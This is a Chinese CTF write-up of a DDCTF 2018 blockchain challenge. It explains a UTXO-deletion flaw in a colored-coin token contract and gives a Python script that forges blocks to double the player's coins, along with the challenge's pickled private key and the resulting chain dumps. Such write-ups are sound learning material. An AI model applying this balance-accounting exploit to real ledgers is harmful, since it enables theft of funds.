目录
前言
这个题我一直想着复现,但也一直拖着,其中也有writeup难找的原因,那个*
真是坑爹中的坑爹,直接被Google当成了通配符,好在跟大佬求了份writeup,终于可以学习学习。首先放出参加DDCTF2018
颁奖的时候出题人放的解题思路:
从这个PPT里我们也能一窥解题的思路,我们还是先从理论基础知识讲起。
## 染色币
定义:
>染色币是指一组使用比特币交易记录比特币以外的外部资产的创建,所有权和转让的类似技术。“外在”是指不直接存储在比特币区块链中的资产,而不是比特币本身,这是区块链固有的资产。
作者粗略的理解就是在比特币上增加额外的功能,比如在人民币1元钱的上面增加一个股权信息,或者增加
这可以抵换1美元
的信息,当然这个附加信息还可以是其他的。这样我们用那染色
的人民币1元钱
进行交易时也把附加的股权
给转让出去了。这样做的一个好处就是将虚拟货币
增加了实体有形
的资产。而题目中的染色区是在
extra
字段,它这里增加了token
,并且提供了从token
到StarCoins
的转换功能。智能合约
在区块链上运行的程序
,通常称为智能合约(Smart Contract)。这个程序就像一个可以被信任的人,可以临时保管资产,并且总是按照事先约定的规则执行操作。执行的过程中不受人为控制。题目中的SRC20SmartContract
智能合约制定了两个功能:购买
和赎回
,并且在赎回 starcoins
的时候自动拿出银行的私钥进行签名,以保证交易的正确性。这就导致了只要我们tokens
足够,我们就能提出任意多的starcoins
,这也是下面漏洞利用的前提。
对于合约安全,我们应该多注意合约实现的逻辑问题,因为合约本身就是一个逻辑的处理过程,只不过是用程序语言表达出来而已。
漏洞原理
对于一个writeup,先说明漏洞的产生原理会对读者的理解起到一个很好的帮助,所以这里先说一下此题的漏洞原理。这里参考了Henryzhao大佬
的writeup,也非常感谢大佬的指点。
首先我们知道有两个功能函数:购买
和赎回
starcoins。并且会在交易的时候检查input
里的tokens/starcoins
余额是否足够,如果足够则交易成功,反之失败。我们的目标是得到200个StarCoins
,很显然,我们需要找到一个漏洞让我们的100 StarCoins
变成200个。而这道题就是在计算tokens余额
的方法上存在漏洞,具体如下:
注意到它进行了
del utxo
操作,它默认
output id和input id相同的utxo
是一样的,这样为了减少计算就可以把output出来的ID在input里删去
,从而造成了这个漏洞。
漏洞利用
下面详细说一下漏洞的细节,我们可以简单的认为这里有两个账本,一个是tokens
,一个是starcoins
,所以对于每一步交易我们都应该同时记录tokens和starcoins的变化,当我们执行完购买、赎回后,所产生的账单如下(这里还是借用Henryzhao大佬
的表):
Step | Operation | My Coins | Bank Coins | My Tokens | Bank Tokens | Comment |
---|---|---|---|---|---|---|
1 | Init | 100 | 200 | 0 | 9999 | |
2 | Buy 100 Token | 0 | 300 | 100 | 9999 | Using the initial utxo of 100 Coins |
3 | Withdraw 100 Token | 100 | 200 | 0 | 9999 | Using the utxo of buying the Token in step 2 |
此时所有的utxo
如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28{
"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4": {
"id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
"amount": 0,
"hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
},
"071a33e4-95be-4d06-921c-9aca4f43f6bd": {
"id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
"amount": 0,
"hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
},
"be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01": {
"amount": 200,
"hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
},
"cc220143-4532-4bfc-9cea-0cae95231efb": {
"amount": 100,
"hash": "417c4bc8ee752db2d276fe6bb1e06c8dd630b5b235756aa7ef9aa5da0dcef4e8",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"id": "cc220143-4532-4bfc-9cea-0cae95231efb"
}
}
注意到1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4
的tokenNum
是-100
,这样在计算startokens的时候就是:100 + (-100) = 0,从而得到当前黑客剩余的余额:1
2
3
4
5// StarTokens balance of all addresses
{
"990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481": 999999999,
"885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d": 0
}
因为当前startokens
的余额为0,所以无法再进行赎回操作。但是此时我们联想起上面他对utxo
统计的逻辑,如果我们用1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4
作为一个tx
的input id,那么就会因为这个id已经在output
里,导致它进行del utxo
操作,这样下面这个块就被擦除了:1
2
3
4
5
6
7
8
9{
"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4": {
"id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
"amount": 0,
"hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
}
}
这样再进行余额检查的时候就是:100 + 0 = 100(startokens),此时我们再进行购买100startokens,那么我们总共就会有:100 + 100 = 200(startokens),接着我们将这200startokens进行赎回,最终我们能得到200 starcoins。
理解了这一点后我们就能比较好的理解Henryzhao大佬
的整个表了:
Step | Operation | My Coins | Bank Coins | My Tokens | Bank Tokens | Comment |
---|---|---|---|---|---|---|
1 | Init | 100 | 200 | 0 | 9999 | |
2 | Buy 100 Token | 0 | 300 | 100 | 9999 | Using the initial utxo of 100 Coins |
3 | Withdraw 100 Token | 100 | 200 | 0 | 9999 | Using the utxo of buying the Token in step 2 |
4 | Transfer 0 coin from me to me | 100 | 200 | 100 | 9999 | Using the generated utxo in step 3, contains -100 Tokens |
5 | Buy 100 Token | 0 | 300 | 200 | 9999 | Using the uxto of withdrawing 100 Coins in step 3 |
6 | Withdrawal 200 Token | 200 | 100 | 0 | 9999 |
特别提示下,在step 4的id是包含了-100 tokens
的那个utxo
的id,如下:
因为我们的目的是擦除
-100 tokens
,所以要用那个块作为input
。
下面是作者自己写的半自动化脚本,这也方便一开始的理解,需要注意的是,使用脚本的时候需要一步一步走,step 2的参数需要你手动
将step 1执行完的结果进行输入,如果想学习全自动化脚本,请移步官方writeup,作者的脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167# -*- coding: utf-8 -*-
import json, uuid, hashlib,rsa,pickle
import random,string
EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
# 对 output 进行hash
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = str(hash_utxo(utxo))
return utxo
# 对 transactions 进行hash
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
#对整个块 hash
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
bank_address = '990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481'
# 赎回的时候用我们的地址
my_address = '885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d'
privkey = "63636f70795f7265670a5f7265636f6e7374727563746f720a70300a28637273612e6b65790a507269766174654b65790a70310a635f5f6275696c74696e5f5f0a6f626a6563740a70320a4e7470330a5270340a284c32303938363636363237303537323732343838373030383730323036363732333136393238303137323032343534343938313032363737323634363839323131323835363837373831323038303136313038313237383037383133393437363432373033333630333437323031333135383938394c0a4936353533370a4c31323437333737323233393135363830323330323837373030303334343932303639353337373733333831323533343931333830333432353937303731363138333937373239373030383935393937393035363631393636323538343335343331303337323633303536353930303439333035334c0a4c31393137383739323838363234353439363834343231363735363631343935323633323537323137333231353630393833363838363031323638343937394c0a4c313039343236343139303430323932303737373532303136373639353739373330323733383036313232343832303334393033323139314c0a4c353235383136373931343030333637383634343037373138383139363835373738383736313431343239303231383932323838353831383333303436354c0a4c3135333439343532353236363234373332313437383539383337333835363937353531313130303535313434303736353830363338334c0a4c31353233353733313234323832353338343731393937363436383035313739363834393833383638343332333536373932373431343938363239393433334c0a7470350a622e"
tmp_privkey = pickle.loads(privkey.decode('hex')) # 进行解码
### step1: 购买 100 tokens
# 创世块/上一块中的 output 里的ID
input_id = "d924f0db-0b46-4c93-8c8e-3d83291c83a2"
prev = "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a"
signature = [sign_input_utxo(input_id, tmp_privkey)]
output = [create_output_utxo(bank_address,100)]
transactions = {
"input": [input_id],
"signature":signature,
"output":output,
"call_smart_contract":'buyTokens'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
block = {
"prev":prev,
"transactions":[transactions],
"nonce" : "step1"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))
### step2: 赎回
prev = "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d"
# 购买tokens时转给银行的 id
input_id = 'bf722709-bbea-406d-9486-4b259444dec8'
output = [create_output_utxo(my_address,100)]
transactions = {
"input": [input_id],
"signature":[],
"output":output,
"call_smart_contract":'withdraw'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
block = {
"prev":prev,
"transactions":[transactions],
"nonce" : "step2"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))
### step3: 转 0 给自己
prev = "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30"
# -100 tokennum 的 input_id
input_id = '1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4'
output = [create_output_utxo(my_address,0)]
signature = [sign_input_utxo(input_id, tmp_privkey)]
transactions = {
"input": [input_id],
"signature":signature,
"output":output,
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
block = {
"prev":prev,
"transactions":[transactions],
"nonce" : "step3"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))
### step4: 再购买 100 tokens
# 使用 上面赎回来的 input_id
input_id = "cc220143-4532-4bfc-9cea-0cae95231efb"
prev = "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43"
signature = [sign_input_utxo(input_id, tmp_privkey)]
output = [create_output_utxo(bank_address,100)]
transactions = {
"input": [input_id],
"signature":signature,
"output":output,
"call_smart_contract":'buyTokens'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
block = {
"prev":prev,
"transactions":[transactions],
"nonce" : "step4"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))
### step5: 现在有 200个tokens,直接赎回
prev = "cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720"
# 一开始发行的银行里的 200中的input_id
input_id = 'be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01'
output = [create_output_utxo(my_address,200)] # 转200
transactions = {
"input": [input_id],
"signature":[],
"output":output,
"call_smart_contract":'withdraw'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
block = {
"prev":prev,
"transactions":[transactions],
"nonce" : "step5"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))
为了方便读者对比,我提供了整个流程的区块链结构和utxos
。下面是整个流程走完得到的区块链
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153{
"cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720": {
"nonce": "step4",
"prev": "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43",
"hash": "cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720",
"transactions": [
{
"call_smart_contract": "buyTokens",
"input": [
"cc220143-4532-4bfc-9cea-0cae95231efb"
],
"signature": [
"2e3394dc0adf2ef0b5537540d8429f9621ff23534002566818b675acd5c6a5edd269dfe67281f6dd3e2d51498953f061"
],
"hash": "05521a130db3bb9262380330e914a03abca4497ab9d0733606149b3d02a6e900",
"output": [
{
"amount": 100,
"hash": "4beb7b7d7ded41cb904faeb550f32336c0bd6b9873ceec50e859e2774929a6a5",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "4ca03386-e345-40b0-a197-5aa8fa8b36ba"
},
{
"id": "7e82a104-6d3b-4e53-8f07-c7211bbe872a",
"amount": 0,
"hash": "3ddfa82c48b68cd088e38acbe149eafb95d2e530bb2c894f47a49ba43f92c3f6",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "7534ef9e99494d752f67eb6416164888433d3f79ba5679a8de42035054e0a3dc371c7457309ce96d86ed1281d533e06a$$${\"tokenNum\": 100, \"utxo_id\": \"7e82a104-6d3b-4e53-8f07-c7211bbe872a\"}"
}
]
}
],
"height": 4
},
"860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d": {
"nonce": "step1",
"prev": "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a",
"hash": "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d",
"transactions": [
{
"call_smart_contract": "buyTokens",
"input": [
"d924f0db-0b46-4c93-8c8e-3d83291c83a2"
],
"signature": [
"1983a3034b4e07021c8e94205778904eef0679aa16fbc56cd205ea5fc64c23f7cf21acd760799b35f5932325cc30afe2"
],
"hash": "e3bdf5c0ca4d3fa741c6c6d7f56bd63dd9f1d61e44c872c1dfed8a886f55c828",
"output": [
{
"amount": 100,
"hash": "5ef33d8805fecff8e01cd11d4806307bf070d4ee0bfd1eb7a7185fe95c99b698",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "bf722709-bbea-406d-9486-4b259444dec8"
},
{
"id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
"amount": 0,
"hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
}
]
}
],
"height": 1
},
"4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43": {
"nonce": "step3",
"prev": "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30",
"hash": "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43",
"transactions": [
{
"input": [
"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4"
],
"signature": [
"81c958e5df32248f779d9d1aa50e44f50e786729178e235b3bcc6d0248bd402cd2c7e38874e5c74938b1c640a6b0fdef"
],
"hash": "dbd16f5af0794539a9bc6c1f0466920855a35316817b3ed9de6d4990a93b6bab",
"output": [
{
"amount": 0,
"hash": "94f41f448309e57220a2c3d25dec3d0bf21258014dbef8554702daf3a6030dcd",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"id": "ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2"
}
]
}
],
"height": 3
},
"861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30": {
"nonce": "step2",
"prev": "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d",
"hash": "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30",
"transactions": [
{
"call_smart_contract": "withdraw",
"input": [
"bf722709-bbea-406d-9486-4b259444dec8"
],
"signature": [
"71e0f8ee912afda2f92f21c923651d65ddd1a18882b2d1841d9b29ee73d5f3fb669fa938fa1ad3158b6ab71d0cc5c51b"
],
"hash": "9853e97de2fe47a1967a658981fb5407d53923632b2c18cbf1110e373737cce8",
"output": [
{
"amount": 100,
"hash": "417c4bc8ee752db2d276fe6bb1e06c8dd630b5b235756aa7ef9aa5da0dcef4e8",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"id": "cc220143-4532-4bfc-9cea-0cae95231efb"
},
{
"id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
"amount": 0,
"hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
}
]
}
],
"height": 2
},
"41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a": {
"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a",
"transactions": [
{
"input": [],
"signature": [],
"hash": "0194a50e9adb6d4ebc3ee4abf60ea11f2ce59cef9afecc316b34fdf007177fc9",
"output": [
{
"amount": 200,
"hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
},
{
"amount": 100,
"hash": "475e9bd5f35105926339d8ea814a340180a3f80e16ed621f4b581bc22a6ce50e",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"id": "d924f0db-0b46-4c93-8c8e-3d83291c83a2"
}
]
}
],
"height": 0
}
}
再下面是整个payload的执行完的utxos
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34{
"ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2": {
"amount": 0,
"hash": "94f41f448309e57220a2c3d25dec3d0bf21258014dbef8554702daf3a6030dcd",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"id": "ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2"
},
"4ca03386-e345-40b0-a197-5aa8fa8b36ba": {
"amount": 100,
"hash": "4beb7b7d7ded41cb904faeb550f32336c0bd6b9873ceec50e859e2774929a6a5",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "4ca03386-e345-40b0-a197-5aa8fa8b36ba"
},
"071a33e4-95be-4d06-921c-9aca4f43f6bd": {
"id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
"amount": 0,
"hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
},
"7e82a104-6d3b-4e53-8f07-c7211bbe872a": {
"id": "7e82a104-6d3b-4e53-8f07-c7211bbe872a",
"amount": 0,
"hash": "3ddfa82c48b68cd088e38acbe149eafb95d2e530bb2c894f47a49ba43f92c3f6",
"addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
"extra": "7534ef9e99494d752f67eb6416164888433d3f79ba5679a8de42035054e0a3dc371c7457309ce96d86ed1281d533e06a$$${\"tokenNum\": 100, \"utxo_id\": \"7e82a104-6d3b-4e53-8f07-c7211bbe872a\"}"
},
"be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01": {
"amount": 200,
"hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
"addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
"id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
}
}
总结
其实这道题跟DDCTF 2018
里的mini blockchain
都是一个人出的,而自己从这两道题中也学到很多关于区块链、智能合约的知识,虽然知识点不多,但都非常具有参考价值。而且自己也觉得区块链会继续
在CTF的赛场上出现,所以多花点时间学习区块链相关的知识是非常值得的。
PS:自己会做跟写出理想的writeup真的还是差点距离,写writeup的好处非常明显,因为在写的过程你需要不断
改善你的表达(措辞)以让读者理解你的想法,这是非常考验作者本身对这道题的理解的,写完writeup顿时感觉理解得又深了一步。